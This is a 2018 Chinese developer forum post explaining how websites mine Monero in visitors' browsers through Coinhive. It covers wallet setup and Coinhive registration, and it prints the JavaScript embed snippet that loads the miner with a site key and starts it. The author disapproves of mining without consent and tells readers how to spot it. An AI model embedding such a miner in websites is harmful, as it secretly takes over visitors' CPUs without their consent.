架构师_程序员

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1486|回复: 3

JS挖矿 - 门罗币是如何利用网页挖矿的?

[复制链接]
发表于 2018-2-6 13:47:25 | 显示全部楼层 |阅读模式
最近看到一种利用网页JavaScript来挖矿的东东,介绍给大家。网页中嵌入Java, 一旦用户打开该网站,浏览器便会按照脚本的指令变成一个门罗币挖矿机。这一段附加的挖矿代码通常因为大量占用CPU,使用户的计算机变得异常卡顿甚至无法正常使用。

这样的网站会嵌入了Coinhive Java Miner代码。该代码是基于CryptoNight挖矿算法编写,该算法可以产出CryptoNote类网络货币,如Monero(门罗币)、Dashcoin(达世币),DarkNetCoin(暗网币)等。而嵌入的这个Coinhive Java Miner则仅支持门罗币的挖矿。

那么怎么来让JS脚本挖矿呢?这中间还需要几个步骤。我个人不赞成这种未经用户同意靠牺牲用户体验来让网站挖矿的行为。了解其中的实现方式,开拓下思路还是非常有意思的。下面就介绍下具体的操作。

(备注:你用下面js挖矿所得到的收益,30%要给开发者,所以你只能得到70%的收益)

一、注册门罗币钱包,获取钱包地址

钱包下载网址:https://getmonero.org/downloads/

根据你的系统下载相应的程序就好了。我这里用的是:Mac OS X, 64-bit

软件大小:157.9M

1、创建一个新钱包

7399039cc0c341608d9fd67afc355501.jpeg

按提示一步步操作就好了

2、最后设置成功

40a1f91aae574f00a168938fdbbdbdf5.jpeg

3、最后的应用界面如下:

4d0da4e3b391434e91dcfe5d1c6125b6.jpeg

注意下你的收款地址,后面会用到

二、注册挖矿平台

注册链接:https://coinhive.com/account/signup

1、注册账号

ebffdb54473f4bc4b14f247300bcebdb.jpeg

2、进入设置->设置支付信息

bf27bd09b1c34be2bdac4aef7f5e2921.jpeg

此处的地址为你刚才的钱包地址

3、设置API Keys

76d5a83b7baa4bf7a48886e6dd8446b4.jpeg

这个key会在后面获取挖矿代码时用到

三、获取挖矿代码

获取代码地址:https://coinhive.com/documentation/miner

最终生成的JS代码如下:

  1. < src="https://coinhive.com/lib/coinhive.min.js"></>
  2. <>
  3. var miner = new CoinHive.Anonymous('owKfejRSL0VFfudvO4G03e8dbMYKsQBH');
  4. miner.start();
  5. </>
复制代码


我写了一个非常简单的html页面,你可以下载下来运行或者参考,

下载地址:http://oyim09vvu.bkt.clouddn.com/xmr.html

四、运行效果
可以看到CPU明显飙升,关掉网页,立马就降下来了

aa919360d64a4cec94dd7a2540b3f0d7.jpeg

这时候你去Dashboard上就能查看挖矿进展。

访问地址: https://coinhive.com/dashboard

e4dc24e6df6f4800810aa82d9c47f671.jpeg

当前门罗币的价格是¥579左右

855b8765d0274830bab80d74d3f3a6e4.jpeg

最后,以上就是要介绍的全部内容。这个利用JS挖矿的思路,作为一个web开发者还是觉得挺有意思的。一段代码就可以整合大量的网上资源。但这种方式,在用户浏览的时候并没有告知用户,降低了用户的体验,并不能广泛的推广使用。下一次当你打开网页的时候,如果CPU风扇狂转的话,也许你就可以打开开发者工具查看下,这个网站是否在偷偷的利用你在挖矿,了解到这其中的门道了。
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
发表于 2018-2-7 14:08:57 | 显示全部楼层
厉害@!!~~~~学习了
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
 楼主| 发表于 2018-2-8 11:26:09 | 显示全部楼层
[原创]菜鸟也能用cpu挖门罗币xmr教程
http://www.itsvse.com/thread-4497-1-1.html
(出处: 架构师)
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。

Mail To:help@itsvse.com

QQ|Archiver|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2018-8-22 09:34

Powered by Discuz! X3.4

© 2001-2014 Comsenz Inc.

快速回复 返回顶部 返回列表